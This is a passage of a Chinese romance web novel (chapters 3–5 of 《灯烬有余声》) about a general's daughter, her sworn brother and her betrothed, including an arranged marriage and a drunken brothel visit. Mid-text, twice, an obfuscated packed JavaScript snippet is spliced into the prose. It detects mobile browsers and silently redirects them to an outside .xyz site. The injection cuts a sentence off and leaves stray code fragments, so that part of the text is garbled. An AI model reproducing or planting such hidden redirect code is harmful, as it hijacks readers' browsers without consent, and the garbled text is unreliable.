《灯烬有余声》 3. 怜惜 日头落至半山,城中小道洒满余晖。 “你记得么,六岁那年我病得快死了,军医大夫看了都摇头,说已经药石无效。” “是刚入营的屠军师过来看了眼,直言道唯有带我哥哥过来见一面,才有可能留住我的意识,延续我的性命。” 越清音踩着黄铜打造的马镫,晃悠悠地策着马,对乌维言说道: “当时我爹听闻此言,整个人都快疯了。” “因为我哥哥早已夭折在襁褓之中,坟茔旁的柳树都已经生得碗口粗细了。” 再刚强的汉子,也很难下令去掘自己亲生儿子的坟吧? 就算真掘了尸首出来,难不成真能让年幼病弱的小女儿看吗? 接下来发生的事情,乌维言也知道了:“那时将军刚收留我,他死马当活马医,索性让你我拜把子义结金兰。然后把我这义兄拉到你的床头,对你高喊‘哥哥回来了’——没想到,你竟然真的当夜就醒了过来。” “当时营中上下直呼军师半仙下凡,我爹更是喜极而泣,但屠军师过来看多一眼,神色立即凝滞。” 越清音说到这,忍不住再次感慨屠军师的火眼金睛:“他问也没问,就断定你并非我的真兄长。” 要知道他刚刚入营,父亲御下又严,压根没人敢同他说闲话。而她与乌维言都有鄯善的血统,生得鼻梁秀挺,幼时看着是很像的。 据闻在入营之前,屠军师是青城山的道人,早有声名在外,说他道法精微、断事如神。 如今刚入营,就实实在在地露了一手,此后观星布阵亦未曾出过疏漏,是以越柳营众位将领都很信任他。 “他说我命火不稳,是孤阳不长的前兆。若想求得健康长寿,就要我系缘于红尘,结良缘以护持,修善缘以续焰。” ——把话说白了,就是让她多走走,多玩玩,多认识些人,她的尘缘能助她安然渡过难关。 “所以我爹从来不管我玩乐胡闹,放任我长到这么大。” 夕阳的余光中,少女叹息着怀念过去的好日子,郁郁不乐地绞了绞马缰。 “谁知他一夜之间突然转性,非要拘着我学那高门大户的迂腐规矩,这也就罢了,他竟然还叫我收心……” “你敢信么,他叫我收心!” 越清音痛心疾首,同她的义兄控诉道:“难道他忘了屠军师的谶语了么?我是要闯荡红尘、修尘缘、续命火的人!” “要我收心,与收我的命有何区别!” 乌维言:“……” “……这么严重的吗?” 他讪讪一笑,尴尬道:“我还一直以为,是因为屠军师的谶语方便你玩乐,所以你才愿意信他。” “如若他的谶语是要你读书习武来续命火,恐怕你早就哭着喊着他是个神棍了……” 越清音凉飕飕瞥他一眼,腰间的玄黑匕首寒光湛湛。 乌维言立即改口:“越将军此举确实有异,不知越姑娘有何高见?” 越清音在马背上坐直身子,正色道:“我爹绝不可能无缘无故刁难我,他肯定有不得已而为之的缘由。” “而放眼整个大昭,能让他做‘不得已’之事的人,那可是寥寥无几……” 乌维言一个激灵,反应过来:“难不成是圣上的意思?可是圣上怎么会干涉臣子家子女的教养——” 他话到一半,脑海里突然浮现出一张令人生厌的面孔,想起那人对越清音上下打量时的垂涎神色,一时忍不住攥紧了马鞭。 “……是因为那道婚约吗?”乌维言问。 越清音沉重点点头:“我怀疑是,可我爹太会管人,营中口风太紧,所以只能同你出来打听打听,看看有没有京城那边的消息。” 乌维言不疑有他。 直到两人的马匹停在一栋灯火辉煌的三层红漆木楼面前,他安静地端视那块笔迹飞舞的牌匾几息,而后一言不发就掉转马头,逃命似的要往回窜。 然而已经迟了,越清音扬手一鞭就将他卷落了地。 乌维言被马鞭卷得难以动弹,却仍倔强地在地上咕蛹,见越清音死活不肯放他离开,急得脸红脖子粗地朝她大喊:“军中不得狎妓!” “别怕,”越清音体贴安慰道,“这是男风馆,该说狎小倌,不是狎妓呢。” 乌维言又羞又恼:“你你你我我我这这这……” 越清音愉快地无视了他。 她将那枚鼓囊囊的影青荷包捧出来,朝迎上前来的花楼干爹开朗笑笑。 “请问,平常来往京城与融州的商客,都爱找哪些小倌呢?” * 越柳营,郭修谨的副将帐篷内。 越逢平大马金刀地坐在主位,抱着胳膊,懒洋洋地看郭修谨试大红婚袍。 郭修谨是个嘴碎的,手脚忙得慌,嘴巴也不闲着,乐呵呵道:“前些日子就听屠军师说德星聚闪,边城定然喜事连绵——可不就是!我婚期在即,越将军您也快喝那杯女婿茶了!” 真是哪壶不开提哪壶。 越逢平没好气地瞪他一眼,刚转头,又听帐幕边缘的铜铃当啷地晃响,细麻布帐子被掀开,慕相玄迈开长腿进来。 越逢平不动声色地注视来人,暗自对比少年的身形与旁边的松木立柱,越看越是心情复杂,不知是感到欣慰还是恨得牙痒。 ……这臭小子,十一岁入营时还矮得像颗菜,一不留神,现在长得都快比他还高了。 等小子行完军礼,越逢平扫了眼他的身后,不出意外看见空荡荡一片,半个多余的人影都没有。 越将军阴阳怪气地开了口:“怎么,你伤好了,又想替她挨军棍?” 慕相玄倒也不怵,不卑不亢地反问道:“不是说丈夫是天,妻子是地么?既然是‘天’,我替她挨几下军棍又怎么了,还能塌了不成?” “……”越逢平嫌弃地拧起眉,“什么天啊地啊乱七八糟的?” 慕相玄从身后掏出那几本《女诫》,呈上给他看:“越将军也知道乱七八糟,为何还要清音去学呢?” 他认真道:“她很不喜欢。” 越逢平只想仰天呼一声苍天,愤恨拍桌道:“你以为是我逼她学的?” 越逢平就这么一个女儿,越清音幼时遭逢战乱,病得气息奄奄,千辛万苦才从鬼门关上抢回来。他如同重获至宝,平日里舍不得看她皱一下眉,纵得她恣意烂漫,比她的义兄还要像个高门纨绔。 他瞪圆虎目,直视面前这位更名易姓的少年,咄咄逼人:“可你不知道你们慕容家天潢贵胄,内宅规矩严苛如同牢笼么?稍有不慎就要丹书录愆、屏风记过。” “若非你请旨赐婚这般突然,打了我一个措手不及,我犯得着着急忙慌找人来教她规矩?” 慕相玄哪怕不看唇语,也听得见老父亲的雷霆怒吼。 慕容家确实不是草原雏鹰的良缘。 少年瘦削的脊背垮下了些,像是被难堪地钉在夯土地上,良久才垂下眼睫,轻声说:“那时候我没有别的办法了。” “……” 越逢平也泄了力气,跌靠在椅背上:“我知道,我也不是怪你,只是心里焦虑……” 他目光虚虚地远望,似乎能看到大昭王朝绵长的西北边境。 越、柳二氏世代为天家戍边,所扎建的越柳军营就是大昭西北面的铁壁铜关、山河锁钥。 天家慕容氏看重武将,立下代代与越柳营通婚联姻的约定,世缔朱陈,十代无违。 到了越逢平这一辈,越、柳二氏人丁单薄,是柳氏的女儿奉旨嫁入天家,他才得以免除婚约束缚,迎娶清音的母亲为妻。 如今柳氏已绝,而越氏只剩清音一女。 哪怕明面不提,所有人也都心如明镜,这一代慕容氏与越柳营的婚约人选,新娘子非她莫属。 越逢平只道自家小女儿年岁尚轻,满打满算才十七八岁,约莫还能再留她几年。于是年初的时候,他安心留在融州养伤,只支使了慕相玄回京述职。 谁知没过多久,他就收到京城传回的急信——二皇子当众请旨赐婚,想要迎娶越清音为皇子妃。 说是当年越清音及笄时,他携礼来贺,自此一见倾心,情根深种三年,趁如今战事已平,希望能早结良缘。 越逢平想想就觉得可笑。 他家清音刚及笄的时候,二皇子已经二十有五,府中纳了两名侧妃,膝下养的庶子都快到开蒙习字的岁数了。 说是皇子,可私德毫无先辈之风,带着花枝招展的侍妾群来到越柳营,没几日就把肃穆军营搅得乌烟瘴气。 而且见了貌美的女子就走不动道,他成日在清音的院门前徘徊打转,惹得慕相玄与乌维言两人神经紧绷,连觉都不敢睡,没日没夜地轮番盯着他。 听闻他离开融州时,除了原班人马,随行队伍还多了十数位鄯善舞姬……真不知他哪来的脸说自己情根深种。 要越逢平说,那人纯粹就是见色起意,图谋已久! 慕相玄记得那日,在富丽辉煌的金銮宝殿里听见二皇子的赐婚请求,他真是厌恶极了对方提起清音时那副急不可耐的龌蹉嘴脸。 那人就来了融州一回,只看到少女的清贵家世与如花美貌。 他没有看到,慕相玄在融州七年,同她朝夕与共,自幼两小无猜。 慕相玄记得,他晨兴夜寐地练功习武,自能上马就跟着边关将领们跋山涉水,仗剑沙场。 说不清有多少个踏冰而行、卧雪而眠的日夜,他只能靠着她亲手为他准备的棉衣,在寒天冻地里一点点积攒暖意。 也数不清受过多少伤,不知道有多少件被血染透的征袍,他生怕她见了会伤心难过,于是都把它们草草埋弃在漫长征途里。 慕相玄心想,他从戎卫国,历经艰辛,好不容易才抚定边疆……难道就是为了给二皇子一个和平的良机,让这龌龊闲人当着他的面求娶他青梅竹马的心上人吗? 绝对不是! 然而婚约在前,圣上又疼爱亲子,几乎不作反应就要应下。 等金口一开,再想挽回可就难了。 慕相玄当时压根没有细想,等反应过来的时候,他已经跪在了金銮宝殿的冰冷玉砖上。 他还有意无意撕裂了腰侧才缝合不久的伤口。 于是高高端坐在威严龙椅上的帝王,与满朝文武百官,就看到那位落魄肃王府的少年世子双膝触地,逆着光孤零零地跪在大殿中央。 他阖低头颅,露出被沙场摧折得削瘦薄韧的肩背,还带着伤,丝缕血色逐渐渗透腰侧的朝服,好像在无声诉说着他在这场冗长战事中,对王朝的披肝沥胆、耿耿忠心。 “圣上……” …… 圣上仁慈,慕相玄拿到了赐婚的许诺。 越逢平揉着额角,放缓声道:“你与慕……你与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702312|173490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你姑母化‘慕’姓来到融州,是圣上的深思熟虑,如今安源州事态未稳,你们也不好轻率揭露身份,但是……” “但是赐婚圣旨这两日就要到了,”越逢平叹声道,“我做父亲的有所私心,不希望女儿始终都被蒙在鼓里……” 慕相玄点头:“我会找机会同她解释的。” 他视线触及自己腰间的藕粉荷包,没忍住抬手捏了下,轻声说道:“婚姻大事,我不想瞒她。” 越逢平:“……” 好烦,好想打他。 越将军见过营中部下嫁女,婚宴热闹喜庆,但他那位牛高马大的部下从晨鸡报晓那一刻就开始哭,哭到夜半打更也不见停歇,最后还是他狠狠心将自己部下劈晕了,这场闹剧才算过去。 没想到现在轮到自己了。 希望他部下劈他的时候,用力一点,好让他晕得久一点。 营帐的另一头,郭修谨还试着新婚红袍,在铜镜面前自娱自乐地自我吹嘘。越逢平现在不想多看新郎官们的喜色,起身就要离开。 慕相玄却叫住他:“将军,那几位教导《女诫》的妇人,还是遣走吧,她不喜欢学那些东西。” 越逢平眼珠僵硬地转了转。 他侧眸睥住慕相玄片刻,忽而冷冷笑道:“这是你自己说的,你可别后悔!” 说罢拂袖大步离去。 慕相玄莫名其妙。 他不明所以望着自家将军离去的背影,郭修谨却寻到了新乐趣,笑嘻嘻地凑过来:“我早说你傻,你还不认,如今看来,果真傻得绝世无双。” 慕相玄直觉有鬼,但懒得搭理,抬步就要离开。 可身后的碎嘴子青年没有放过他,放声说道:“你以为那几位妇人是谁,教书育人的女夫子么?她们是教导婚仪的嬷嬷!” 少年步伐一顿,神情茫然地回头。 郭修谨啧啧地绕着他转圈,感叹道:“越夫人走得早,越将军只能同我们这群糙老爷们一起养个小姑娘,多的是不便的地方。” “自古女子出阁都颇多讲究,越将军得知赐婚的消息后,抓耳挠腮琢磨了几日,才谨慎决定请几位婚仪嬷嬷来替代母职。” 郭修谨朝呆若木鸡的少年挤眉弄眼:“你以为她们就是来教《女诫》的?后头要教的阴阳正责、周公之礼才是重点……” 慕相玄眼睫微颤,用力抿住唇线。 郭修谨难得从这板正的少年身上看到几分无措,愈发乐了,调侃道:“把嬷嬷遣走了,你怎么办,新婚夜陪她数星星?” 慕相玄:“……” ……好烦,好想打他。 他昨日才回到军营,满脑子都想着该怎么对清音坦白,又担心她生气,又害怕她拒绝,他连哄人的兵法都想好了,前有动之以情、晓之以理,后有装哭卖惨扮可怜……总之求着她怜惜,多少考虑考虑嫁给他。 他压根没想起新婚之夜的事,如今被郭修谨提起,心底又添一件心事,可是他又能有什么办法! 他连新娘都没说服,哪敢背着她去想什么新婚夜! 慕相玄索性不管那碎嘴子了,木着脸就往外走。 可郭修谨明显不想放过他,捞着他一通废话,嬉皮笑脸:“真的遣走吗,你不后悔?要不要我帮你同越将军说说,不如还是让嬷嬷留下吧,学一学也没有坏处,总好过新婚夜成不了礼……” 慕相玄甩了他两次,憋不住火冒三丈,终于怒了:“成礼是她一个人的事情吗,我是死了还是瘫了?怎么非得逼她一个女儿家去学那些东西?” “哦——” 郭修谨意味深长,朝童子鸡和善一笑:“抱歉,我以为你不会嘛。” 慕相玄:“……” 他平静地看着郭修谨,一言不发,默默拔出了腰间的佩剑。 郭修谨:“……” 下一刻帐间就打得天翻地覆,郭修谨边躲边喊:“我这身是婚袍,可不能弄坏!”见少年气势丝毫不减,他又见缝插针,一把扯下慕相玄腰间的藕粉荷包作挡。 慕相玄动作一顿,郭修谨举着越清音的荷包,高声道:“等下弄坏了这荷包,她定要与你生气!” 慕相玄嗤了声:“她乖巧温柔,可不会生这种气。” 郭修谨恨不得聋的是自己:“你坏的是耳朵还是脑子?营中谁人不知她与她义兄简直堪称越氏双孽,你竟说她乖巧温柔……” 持剑的少年冷着脸,指指她干瘪的小荷包:“她但凡有些银钱都攒着给我们花,自己紧巴巴地舍不得用,你怎能忘恩负义说她双孽!” 说着又要打起来,幸得郭修谨的副官急冲冲破帘而入:“郭将军!郭将军!” 两人步伐刹住,齐齐看去。 那副官高声喊道:“越将军叫您把军棍请出来!说他今日要亲手为越氏将门除去双孽!” 慕相玄诧异:“什么?” 郭修谨偷瞥他一眼,轻咳了声:“发生何事了?” 副官连声道:“巡城兵来报,说见到越姑娘与乌维公子进城北的男风馆了!” “还说俩人出手阔绰!一口气叫了二十名小倌!” 慕相玄:“……” 郭修谨也觉得尴尬了:“不是,她荷包还在这儿呢,她哪来的银钱?” “这个啊……” 副官小心觑了眼旁边:“听说她走的是慕将军的账。” 慕相玄气笑了。 4. 命苦 望月坊内丝竹声悠然婉转,越清音推开临街的碧纱花窗,从三层阁楼往远眺望,晚风微暖,云片细碎,像数不清的浅白鱼鳞铺列在天幕上。 屠军师说过,鱼鳞天,不雨也风颠,那是雨师的先行旗。 越清音撑住下巴,俯视着近处的市肆商户,笨重的黄土砖外刷了层略讲究的白石灰,已经被过往雨水冲刷得斑驳掉色了。 她瞳眸里微光浮动,不知怎么就想起了去年她的生辰…… 深秋夜晚,雨丝斜斜,千里迢迢赶回来的少年翻上她的院墙,披着一身清凉水汽,鲜眉亮眼,远远就朝她笑。 “清音!” …… “清音。” “清音!” 乌维言的嗓音突破回忆的光影,越清音如梦方醒,恍惚着问:“怎、怎么了?” 乌维言大呼皇帝不急太监急,气得跺脚:“我说,越将军跟着了魔似的逮着你学女训,不会是二皇子在背后搞什么鬼吧?” 他记得那个人。 清音及笄的那段时间里,原本慕相玄的疯病已经好了些,不再每日对乌维言念叨那些“男女有别”、“兄妹亦需分居前堂后寝”的死脑筋汉人道理。 整个越柳营都久违地秋风和煦、天朗气清。 结果二皇子过来了,那人长了双狗眼,像见着了龙肉一般,视线总要粘在清音身上滴溜溜地打转,扒都扒不下来。 还有他带来的人,那些猖狂得连眼睛都不长的狗下属。 一行人为了献媚讨好权贵,竟然围住落单的少女,蠢蠢欲动,小聋子撞上这幕,当场就被惹得发作,那日在营中闹出了极大的动静。 那些时日,乌维言可谓一心多用,既要警惕着二皇子包藏祸心,又要提防着慕相玄放纵杀性,过得真是提心吊胆、水深火热…… 一想起这些糟心事,乌维言连用膳都没了兴致,猜测道:“莫非是二皇子贼心不改,拿着慕容家与越柳营的婚约做由头,想要逼你嫁给他?” 越清音愣了下,下意识道:“不会。” 乌维言急了,坐直身道:“你怎知不会?” “别以为我不知道,虽说那年他人离开了融州,可之后你每年生辰,他都差人送来信件与贺礼,如此纠缠,明摆着就是从未放下过觊觎之心!” 越清音还是否认:“不会。” 乌维言急得嗓子冒烟,还想再说,越清音却笃定地打断他。 “不会是他,相玄答应过我的。” 就在去年她的生辰,那个秋季雨夜里。 那是个乏味无趣,甚至叫人恹恹不喜的生辰。 越清音早早回了房,心不在焉地梳洗完,本想早些歇下,可冥冥之中有什么牵动着她,鬼使神差推开了房间的木格子窗。 缥缈雨丝打斜落入庭院,在薄砖地面漾起几片涟漪。 轻叶划下树梢的那刻,一身霜色束袖劲装的少年恰好翻上她的院墙,越过院景望向她的窗。 越清音还以为自己喝糊涂了,不然怎会看见此刻应在千里之外的人。 她恍惚着站起身,见他坐上墙头唤她的名字,笑得清澈爽朗:“清音!” 她终于回过神,忙去开了房门,招手叫他过来:“你怎么回来了?不是要在……” “没事,我安排好了,能回来陪你几个时辰。” 慕相玄步伐轻盈地跨上台阶,停在她的房门前,见她迷迷蒙蒙的模样,又忍不住想逗她,于是挑着她的发辫,拿发梢挠挠她的脸颊:“今儿生辰,玩得开心么?” 越清音起先还在笑,痒得躲了躲,听他的话又想起了什么,撇下嘴角拍他的手:“不开心。” 憋闷的力度传到手背,慕相玄弯下腰,探究地看她的表情:“怎么了?” 被他一问,心底的委屈就止不住地往上冒。 越清音低下脑袋,踢踢门槛闷声道:“我又收到二皇子的信了,他好无耻。” 她长记忆以来,就从未在别人身上吃过瘪,如今三番五次被一只苍蝇缠上,躲不掉,又不能直接拍死,只觉烦闷又恶心。 “他话里话外都是慕容家与越柳营的婚约,提醒我别忘,还恬不知耻,说什么情投意合,看我年纪小,所以愿意再等等之类的鬼话……” 她没留意少年眼底逐渐涌起的戾气,嘟嘟囔囔地倒了小半日的豆子,终于觉得发泄了出来,舒畅百倍。 野阔草原上长大的少女气得快、忘得也快,又有了心情与他玩笑: “你猜,我给他回了什么?” 慕相玄垂眸敛下情绪,顺着她温声道:“回什么了?” 越清音得意地朝他弯弯杏眼。 “我说慕容家与越柳营的婚约乃太祖皇帝所立,万万不可废弃!” “只是二皇子岁数太大,再怎么等也是与我不般配的,实在不妥。但好在我爹年纪也大,与他登对,若他真想结两姓之好,那就让我爹娶他好了!” 慕相玄:“……” 他哭笑不得,第一次见给自己找继母,不对,应该是继父,不对,好像也不对…… 他一时不知该说什么才好,反倒是身边的少女玩笑间凑近了些,看清他肩头与发尾潮湿的雨意,又开始自责。 “我都忘了外面下着小雨呢,你进来擦一擦,小心着凉了。” 越清音拉住他的袖子,想叫他进房,却立即感受到了明显的朝反方向的拒绝力道。 慕相玄好像被钉在门外,任她怎么拉也拉不动。 他没朝女儿家的闺房里多看一眼,视线只落到她的门扉上,好声好气地解释:“进院已经十分冒犯,我不能再进房了。” 越清音:“……” 知道他又犯病了,她体贴地没反驳,回身去找帕子给他擦雨水。 慕相玄在她背后说:“若你再收到他的信,直接给我。” 越清音应了,翻了张新帕子出来,又带点傲气:“让他做春秋大梦去,我才不喜欢他!” 慕相玄也点点头,认真应道:“嗯,清音不要喜欢他。” 越清音看见他接过她递去的帕子,却没有拿去擦身上的雨水。 他将帕子对折几次,整齐叠好,然后塞进了衣怀里。 越清音:“?” 狡猾小贼!当着她的面偷她的帕子! 淅沥小雨中,一高一低的两道身影静静立了片刻,檐角垂下的水线串成珠帘,将她房内透出的灯火细细碎碎地折射到二人身上。 越清音开始走神,歪着脑袋数他肩上有多少颗水珠子。 不知数到第几颗的时候,忽然看见他转过身来正面对着她,似轻咳了下:“那……” “你不喜欢他的话,可有喜欢谁吗?” 她反应慢半拍地抬起头,少年看清她迷茫的神色,又改了口:“或者……喜欢什么样的人?” 许是因为相识多年,她一下就发现他不知从何而来的紧张,还有因为想要遮掩紧张而显得无处安放的手脚。 越清音眨眨眼,只觉得这问题很好回答:“我喜欢听话的。” 从小到大那么多玩伴,她就喜欢听她的话、会陪她胡天胡地胡闹的人。 她抬抬小巧的下巴,慷慨补充道:“要对我言听计从的那种!” 昏暗灯火下,慕相玄倏尔卸下紧绷,语调又轻又快地扬了起来: “听话就行了?” 越清音:“嗯……嗯?” 方才她叫了几次进屋、却怎么拉也拉不动的少年,在下一刻自投罗网。 他迈开步子,干脆利落地跨过她寝室的门槛,听话顺从地踏进她的屋子。 少年人身上的暖热气息靠近她,嗓音透着满腔愉悦:“听话就行了?” 他问:“还有吗?” 越清音被他的体温烘得莫名脸颊发热,抬眼就看见他线条漂亮的下颌,还有高挺鼻梁打下的侧影。 她稀里糊涂就答了句:“还要好看的……” 这下慕相玄当真展颜笑了起来。 “怎样才算好看?” 他低头凑近些,牵起嘴角端详她的神色:“我好看吗?” 越清音很难违心,晕乎乎地点了点头,又点了点头。 那夜雨长,两人坐在门槛上看了小半夜的雨。 直到月光隐约出来,越清音开始点头打瞌睡,点到他的肩上时,她感觉到发顶传来轻抚的力度,听见他似安抚似承诺的话音。 “别担心,不会让你嫁给他的。” …… 从回忆中抽身出来,越清音笃定道:“他答应过我的事情,从来没有做不到的。” “这回我爹要我学女训,虽然蹊跷,但定然不是因为我要嫁给二皇子了。” “那还能是什么?”乌维言百思不解。 越清音往椅背上悠哉一靠:“这不就来打听了么!” 话说着,蔓草纹缠绵的房门被推开。 二十名花枝招展的俊俏小倌,伴着大堂里喧嚣嘈杂的谈笑声、丝竹声鱼贯而入,五彩缤纷的衣摆翻卷,仿佛将山野春季搬进了房间里。 “小的们见过二位爷。” 越清音眨着杏眼,左右看一圈,又左右看一圈。 为首的紫衫小倌盈盈一笑,扭着腰肢熟络招呼道:“二位爷,今儿是听曲、看舞,还是玩些花的?” 打小不爱学汉人文化、更爱往关外草原跑、父亲但凡有点俸禄奖赏都拿去补贴军营、几乎不给他们月钱、压根没钱在内城见世面的淳朴兄妹俩安静了片刻。 乌维言迟疑着环顾四周:“玩什么花,哪有花?” 越清音犹豫地绞绞手指:“花有什么好玩的?” 紫衫小倌:“……” “看来二位爷是第一次来,那我们可要好好招待了。”紫衫小倌娇俏俏地笑,招手让身后的小倌们一并迎客,姹紫嫣红们绕着圆桌款步过来。 越清音在营中见多了赤膊大汉,难得见这样腰肢柔软的年轻儿郎,一时间眼花缭乱,都不知道该看谁,迷迷糊糊地应着: “好,好,都来来来……” 反倒是乌维言一个激灵,及时叫停他们凑过来的脚步:“等等!你们坐那儿就好!” 小倌们被阻隔在几个座位后,茫然无措看着兄妹俩:“这也太远了些……” 越清音正在兴头,也不满意了:“我还没看清楚呢。” 乌维言好不容易记起这是处寻欢作乐的温柔乡,连声阻止道:“等你看清楚,我就没法跟相玄交代了!” 越清音一下想起聋子少年的古怪病情,他向来不喜欢别人太接近她,只得不情不愿地挪后些身子。 “行吧……”她瞟了眼面前的桃红柳绿,难掩遗憾,“你们就坐那边吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702313|173490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她拍拍手:“都来说说看,近来有听说过什么京城的新鲜事么,高门大户、声势浩大的那种?” 小倌们听懂了两位客人的意思。 听故事的可比听曲看舞的容易伺候多了,他们纷纷相视笑了:“那可多了!” 满屋子的俊俏儿郎围着圆桌落坐,开封香醇酒酿,眉飞色舞、绘声绘色、比手划脚地讲了起来。 越清音与乌维言起先还松闲地尝着佳酿,然而听着听着,脸色逐渐变了。 * 慕相玄飞快策马,赶在越柳营士兵的前头到达望月坊。 他随手抛下马缰给迎前的侍者,背向夜幕,大步进了楼,冷不丁被乍然辉煌光亮的灯火照得长眸微眯。 待视线焦点重新凝聚,他看清这栋三层木质建筑里的靡丽妖艳,忍不住额筋直跳。 太放浪了…… 他拦住花楼的干爹打听人,快步往上走,再一次侧身避开嬉笑玩闹的年轻小倌后,心底的酸意丝丝缕缕地往外钻。 屠军师是叫她多玩玩、多认识些人……但也没叫她多玩玩男人啊! 他有些委屈地想,而且她玩的还是外头的男人。 拾级而上,望月坊浓艳醉人的熏香一阵阵扑近鼻息。 慕相玄自幼嗅觉过人,多闻几口就觉得些微燥热,一时之间脑子里思绪纷乱,既担心自己失态,又担心乌维言那边不安分。 清音没有军衔,也就罢了,可他与乌维言都是在军中任职的。 越柳营军风肃正,严禁营中官兵狎妓取乐。 如今他二人进了这等花街柳巷,若是误碰了什么腌臢药物,按耐不住陋性,想做什么伤风败俗的丑事……慕相玄冷静地想,那他只能先杀了乌维言,再刎颈自尽,无论如何也要保全越柳营的名声。 慕相玄想到这,步伐一顿,恰时听见身边小倌们妩媚动人的娇笑声,心中又是难过。 ……他这样板正无趣,也怨不得她被外头的妖精吸引,家花哪有野花香…… 可一低下眼睛,又瞧见自己双袖上紧束着的护腕。 厚实的玄色鞣制鹿皮料子,双层的银色绣线细细密密地码齐边缘,还有怕磨伤皮肤而特意添上的柔软内衬,无处不显出缝制人的体贴用心。 ……这是去年秋季时,她亲手给他的。 那日还是她的生辰,他往返匆忙,给她准备的贺礼都被衣襟压坏了,他局促得不知该怎么开口。 可她神神秘秘地叫他过去,问也没问她的贺礼,反倒喜滋滋地将一副新护腕塞到他怀里。 她说她攒了好久的钱才买到上好的料子,又缝了好些时日才做好的。 那日是她的生辰,她却满心欢喜地给他送礼。 慕相玄每次想起,都心软得一塌糊涂。 他安慰自己,不会的,他与她自幼相伴、情谊深厚,她才不会这样轻易就变了心。 定是乌维言教唆带坏了她,竟将她哄来这勾栏瓦舍! 说起来,乌维言这人实在不靠谱,说是义兄,可行为举止没有半分楷模榜样,天天伙着她招猫逗狗。 前些年越将军也看不下去了,甚至一度想让慕相玄也与二人结拜为兄妹,希望他能将兄妹俩带得明堂正道些。得亏慕相玄抵死不从,不然如今赐婚,他与清音就是逆道乱常,兄妹乱、乱…… 少年想想就觉得耳根子滚烫,忙归拢注意力,加快脚步去寻找兄妹俩的房间。 也不知道乌维言有没有护好她,这儿全是些言行浪荡之人,她性子天真,也不知道会不会无措害怕,会不会受人调笑欺负…… 正想着,脚步逐渐靠近廊子尽头,近处的房门忽然传出异响。 他步子一顿,侧耳只听见细弱的哭腔,依稀混着几声“不行”、“不要”…… 慕相玄心脏一震,抬眼发现就是他要找的房号,霎时间耳内轰地一声,只觉浑身热血裹着怒意往上冲。 他二话不说猛力踹开房门,浓醇的酒气扑面而来,参杂着一道被纠缠淹埋的橙花香气。 乌维言就躺在门边,喝得人事不省,衣冠不整的小倌们层叠起伏,也不知道压着谁。 少年将军勃然大怒,几步上前用力踹开人堆,却发现他们抱着的只是几坛子酒。 有小倌还在呜呜咽咽地哭:“越姑娘,不行了,我们真的喝不下了……” 桌子的另一侧,越清音双颊酡红,还抓着个貌美小倌斟酒:“陪我喝!” 那小倌哭得嗓子都哑了:“虽说借酒浇愁,但也没有一下就把人浇死的道理吧……” 越清音悲愤交加,心说若你是我,知道从此好日子到了头,往后只有受不完的苦难,恐怕你也恨不得今日就被酒浇死! 她抬袖子狠狠抹了把嘴,推开梨花带雨的小倌,恨铁不成钢。 “一群花架子,没一个能喝的!” 少女又仰头咕咚喝了半坛,觉得不尽兴,终于想起更加花架子的义兄。 她伸手往后去拽乌维言,口齿不清地说道:“二、二哥,你再给我叫十个小倌过来,也……也记在相玄的账上……” 谁知二哥没拽着,反倒勾住了谁的腰带。 来人顺势将她提了过来,捞到自己的怀里,她懵懵地侧过脑袋,听见少年凉飕飕的、辨不出情绪的声线。 “何必麻烦,不如直接叫相玄陪你喝,怎么样?” 5.全都 越清音喝得晕头转向,视野里的不速之客面容发散,好像有四只眼睛两张嘴,鼻子还在整张脸上到处乱跑。 她伸出手指追着他的鼻子描,尽力凝聚视线:“这位美人,你生得挺别致……” 慕相玄听这称呼,气得咬咬牙捉住她的手腕:“不读圣贤书,偏学柳七词,如今都知道上青楼喝花酒了!” 他话不多说就拉着她朝门口去:“等回家了再与你讲道理。” 越清音被拉拽走了几步,意识到受制于人,立即缩着肩膀与手臂要挣扎:“不是,你是谁啊……” 可这美人好大蛮力,她拔了两次都拔不出自己的腕子,心底憋闷,强烈指责道:“真是可恶,相玄都没拉过我呢,你竟敢放肆……” 慕相玄又气又好笑,步子停到门边,回头与她分辩:“好没良心,我没拉过你么?” “你从前贪玩,春天要翻山越岭看川河融冰,秋天又要漫山遍野摘花捡果子,时常兴致勃勃远离营地疯跑,玩到天黑又觉害怕,哪次不是我拉着你回家的?” 越清音呆懵懵看着他,眼珠子迟缓地转了转,终于认出来人:“相……” 慕相玄轻哼了声。 对方面色实在不好,越清音甚至生出错觉,还以为是自己偷腥被捉了现场。 “我只是在这儿喝酒……”她小声辩解道。 对面的人没应答,少女迟来的心虚作祟,低头看看鞋尖,不敢再吱声。 慕相玄原本满腹长篇大论、批评话语,可瞧着她在他跟前埋低脑袋,睫羽湿漉颤抖,又觉得就连她垂落的几绺发丝都十分可怜。 他再也说不出半句重话。 甚至还想安抚地摸摸她的发顶。 慕相玄叹了口气,压根拿她没办法。 想起之前听屠军师讲过道法因果,他心道,大概这姑娘就是他宿世的冤家、命里的克星、前债的报应…… 慕相玄很干脆认了命,放缓语气对她说道:“先离开这儿。” 他转身拉开房门。 大堂原本的气氛喧嚣热闹,现在却静落许多,惯常被人声掩埋的丝竹乐声突兀地跳显出来,半死不活地暖着场子。 只见满堂的客人都从酒桌上分了心,悄然打量望月坊大门前的新客——几位牛高马大、半张脸蒙着防风布巾的壮硕汉子。 慕相玄快手将房门阖上了。 他一眼就瞧出那几位汉子是越将军的亲兵,如今遮掩样貌过来,想必是奉命来捆这屋子里的两兄妹回去的。 